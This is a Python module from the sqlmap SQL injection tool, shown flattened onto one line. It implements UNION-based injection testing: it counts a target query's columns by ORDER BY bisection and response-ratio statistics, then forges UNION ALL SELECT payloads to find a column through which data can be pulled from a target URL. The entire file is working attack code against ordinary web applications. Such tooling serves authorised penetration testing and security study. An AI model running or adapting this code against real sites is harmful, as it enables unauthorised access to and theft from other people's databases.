#!/usr/bin/env python """ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastRequestDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import PAYLOAD from lib.core.settings import FROM_DUMMY_TABLE from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_STEP from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def __orderByTechnique(): def __orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by)", page or "", re.I) and comparison(page, headers) if __orderByTest(1) and not __orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if __orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if __orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or __orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target url appears to have %d columns in query" % found singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount+1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload kb.unionDuplicates = content.count(phrase) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector def __unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the inband SQL injection and get the exact column # position which can be used to extract data validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full inband # SQL injection position if not validPayload: validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. --union-char=1) " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. --dbms=mysql) " if not all([validPayload, vector]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return kb.technique = PAYLOAD.TECHNIQUE.UNION validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector